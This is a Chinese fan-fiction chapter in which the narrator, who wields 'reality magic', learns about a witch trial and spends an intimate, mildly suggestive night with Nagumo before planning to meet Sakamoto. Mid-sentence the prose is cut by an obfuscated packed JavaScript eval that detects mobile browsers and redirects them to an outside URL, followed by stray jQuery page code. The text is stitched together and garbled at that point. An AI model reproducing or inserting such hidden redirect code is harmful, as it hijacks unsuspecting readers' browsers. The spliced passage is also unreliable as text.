现实魔法有着能够改变世界的力量,在本源世界里能与之对抗的除了空间魔法外便只有千之魔法,可如今换了一个世界,缺乏压制的现实魔法便愈发肆无忌惮起来。
因为“现实”的特性,这股魔法拥有着一部分属于自己的意识,虽然还没到严重反噬主人的地步,但如果是心智本就不坚定的人便很容易受影响。
不过发.情.期只是件无伤大雅的小事,毕竟可以找人舒缓,真正的分界点还是那个所谓的魔女试炼。
而魔女试炼的内容……
“呃,所以只要我不被现实魔法所诱惑就行了?”这朴素到放在少年跳跳都显得非常过时、并且大概率连编辑那环都过不了根本没法连载的主题实在是令人沉默,但我更想不明白的是就这么个破试炼内容南云他们为什么会瞒着我这么久。
南云突然伸手将我垂落的发丝别到耳后,指尖擦过耳垂时激起一阵战栗。“因为岳父大人说试炼的内容如果是魔女自己察觉到的话会更容易解决,由别人来告知则会被世界加上一层规则束缚,到时候难度会提高。”
倒有点像是游戏里常见的那种为了给主人公上难度而特地新添的设定,好麻烦。
“行,我明白了。”我抓住他想要继续作乱的手腕,因为是深夜外加上刚才的动静,我发觉自己可能有些受凉,于是便拜托南云去客厅帮我倒杯水,顺便找瓶感冒药。
他松怔了一会儿,眼睛突然亮了。
“哎?小铃木是在向我提出请求吗?”
“……”我放下手,狐疑地看向他,“不可以吗?”
南云似乎莫名有点兴奋,蓬松的黑发稍显凌乱,还未等我这边梳理好,他便迫不及待地出去把水和药拿了进来,并一副跃跃欲试的样子。
“只是太久没听到你这样要求了,有点怀念。来,我喂你。”
我寻思以前也经常这样,便就着他的手吞了药片,没想到这个举动却让他更激动了。
“小铃木——”
“怎么了?”
他拉长语调熟练地撒了个娇,就差没在我的腿上打滚卖萌了。黑色的碎发在暖光下镀上一层薄橙色,看起来分外乖巧,同时我也发现了一件事——这只南云好像很喜欢在我面前戴眼镜刻意勾引我。
修长的指尖正无意识地摩挲着镜框,金属与皮肤摩擦的细微声响在寂静的房间里被无限放大。不着痕迹地观察了会儿他鼻梁上那副黑边圆框眼镜,我忽然产生了一股将人按在身下的冲动。
好涩。
接过水杯又喝了几口压惊,我努力不去和那双闪闪发亮的眼睛对视,生怕自己又产生奇怪的念头。毕竟想是一回事,真正做下来身体的承受能力又是另一回事。
并且因为这事还一不小心发现了自己的醒脾,有点尴尬。
“咳,对了,你为什么刚才那么震惊…就我让你帮忙的事。”
应该不是抖M瘾犯了想被命令吧,明明在那种时候都是他命令我喊一些糟糕的词,再怎么说也不该是M而是S…嘶,但是本来的时间线上那个27岁的南云好像挺M的,难不成这个属性随着年龄的变化在慢慢过渡?
他亲昵地贴过来,再度表现出依恋的作态,温热的呼吸让我的锁骨也泛起潮意。
我不自觉地想要躲开,却突然被按住猛吸了一口,心神唰地失去了平静,就这么震惊地听着对方细细道来:
“就是很开心,因为铃木你自从和魔法越来越契合后就很少会拜托别人了。就像是刚才那样,这个时间线的你会直接改变现实杜绝感冒这件事。”
听起来好任性,感觉是那种会滥用魔法的超级反派。
已知当年试炼失败的原因也不是别的,就是我过于高看了自己的能力,用尽了自己身上的全部魔力改变现实,整个杀联就这么消失在了世界上,而也因为这个选择导致我被迫在这个世界多滞留了一年。
这条时间线上的我本以为等魔力恢复后依旧能穿梭回八年后去,然而却发现因为整个世界的改头换面,那个未来已经被彻底覆盖掉了。不仅如此,因为这个单一世界本就魔力稀缺的原因导致“我”的魔力恢复速度非常缓慢,根本恢复不到曾经的水平。
现实魔法需要和一个心志坚定的人作伴,而“我”的心态却因为回不了本来的时间线彻底崩了,紧接着便开始摆烂,肆意挥霍所剩无几的魔力,最后落到了被魔力反控制的地步,也就是所谓的“出轨”开端。
……为什么会和本子里常见的堕落剧情是一个逻辑啊?先不说别的,我压根就不是这种会轻易放弃的人,这里面肯定还有其他的隐情。
窗外的月光被厚重的云层遮蔽,唯有床头暖黄的夜灯在墙壁上投下重叠交错的影子。南云的体温隔着薄薄的睡裙传来,像只受伤的巨兽般蜷缩在我怀里,以至于能清晰感受到他紊乱的呼吸节奏,每一次吸气时后背肌肉的颤动都传递着强烈的不安。
“……我也不是完全不介意,但比起这个,我更希望铃木你不要活得那么辛苦。”声音闷在我胸前的衣料里,他用头顶蹭了蹭我的心口,柔顺的黑发带来一股令人安心的触感。
“上次因为那个小子的事你直接跟我玩失踪,无论是坂本还是赤尾都联系不上你,当时就想着如果你能平安回来的话我以后绝对不会再拿这种小事打扰你。”
他说着说着声音越来越低,环在腰间的双臂又收紧几分,倾诉起满腔委屈。
“比起吵架,我更怕你出事……我不想再经历一次你的死亡了,不想在突然的某一天又从别人那里听闻你的死讯、不想在我找到你的时候只能看到一具倒在血泊里的躯体…你说过自己没有复活卡,要是再死一次就是真死了。”
突然抬起的脸庞在昏暗中泛着水光,眼尾红得像要渗出血来。面对这样的他我总是会有些不知所措,只能努力为其顺毛,就像抚摸小动物一般。
抬手按住他的后颈,指腹陷入温热的皮肤里,这个带有驯服意味的动作让他瞬间僵住,喉结在暖光下滚动出脆弱的弧度。
记忆碎片突然刺入脑海,现实魔法将我带到这个地方前先带我去了当初的死亡现场,或许也是在提醒我这是最后一条生命。
耐心安抚着怀里的躁动,我完全不理解这个时间线上的“我”为什么会做出这么任性的举动。南云的PTSD我是再清楚不过的,用死亡这种事刺激他实在是不像我的行事作风,除非那根本不是一场普通的离家出走玩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15227716|156014||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
失踪。
并且按照我们几个的尿性,多半又是那种我和其中一个商量好了并瞒着另外俩…就目前的情况来看,那个知情人或许是坂本。
如果非要和这三个人当中的其中一个构建秘密联系的话,坂本太郎一定会是我的首选。
思及这里,我又问了一句:“之前你说我的身体也……除了性格变化和嗜睡外还有别的吗?”
他沉默了会儿,过了很久才接话道:“好像没了,就是X欲有点过于旺盛,每天都索求无度。唔,铃木你想知道细节吗,我可以复述出来、或者带你亲身体验几遍。”
“那没事了,快睡吧,明早带我去见坂本。”
“为什么坂本的名字总是会在不经意的时候提起啊,好讨厌!”
“快换衣服,不然就回自己那屋去。”
“……”
·
晨光穿透窗帘的刹那,似乎有无数奇怪的虚影在天花板浮现。我揉了揉眼睛,等彻底清醒时定睛一瞧,发现只是天花板的复古纹路而已,这才松了口气。
昨晚折腾得太晚,虽然没有再更进一步但确实也满足了南云不少要求,以至于我还发现了一个规律,这人比起命令我似乎确实更喜欢我去命令他,明明在杀人的时候还玩六德刀这种花架式,私底下却有着这样的怪癖,好想吐槽。
而他此刻也不闲着,正趴在床上把玩着我的睡裙肩带,偶尔还会上嘴咬两下,每当我想出去都会被他抱住手臂,然后熟练地摆出那套撒娇的姿态挽留人。
如果不是因为很清楚他是彻头彻底的人类,我甚至会怀疑他是猫咪使魔之类的存在。
“现在去找坂本还太早哦,铃木你再多陪陪我嘛。”
我无语地看向他,说:“真正的意图怕不是这个吧,因为乐和天弓?”
他不说话,只是唇角的弧度瞬间垮了下去,紧接着又将脸埋在了我的怀里。
这一举动变相默认了我的话,但面对他这副黏糊的模样我也实在是有些没辙,便由着他去了,硬生生在房间里待到了午饭的时候才收拾好行装出门。
天弓:“需要我陪你一起吗?”
乐似乎早早地就出门了,令我感到意外的一点是这俩居然都做了运动员。天弓不出所料是弓箭手,甚至还拿了去年的奥运冠军,乍听到这个消息的时候那股割裂感几乎要淹没我,并愈发觉得这个世界不真实起来。
虽然现在辨别这个世界是真是假已经没有意义了,重点是要从这个世界找到现实魔法想要告诉我的事情,然后回去后避免这种走向。
但是……
脑海中想起本该成为杀手的大家,如今这安逸的生活似乎对更多的人来说是件好事。没有杀戮、没有不稳定因素,虽然偶尔会有犯罪分子出没,但也不再需要ORDER这种存在,警察完全可以轻松应付。
似乎只有“我”过得不太如意。
消沉只是一瞬,很快我便被南云的动静吸引了过去。他靠在我身边眯了眯眼睛,似乎是想嘲讽两句,为了避免没必要的争执我眼疾手快地将人的嘴捂住,并向天弓打了招呼说再见。
莫名有种把猫带出门晒太阳而把狗留屋子里看家的既视感,噫。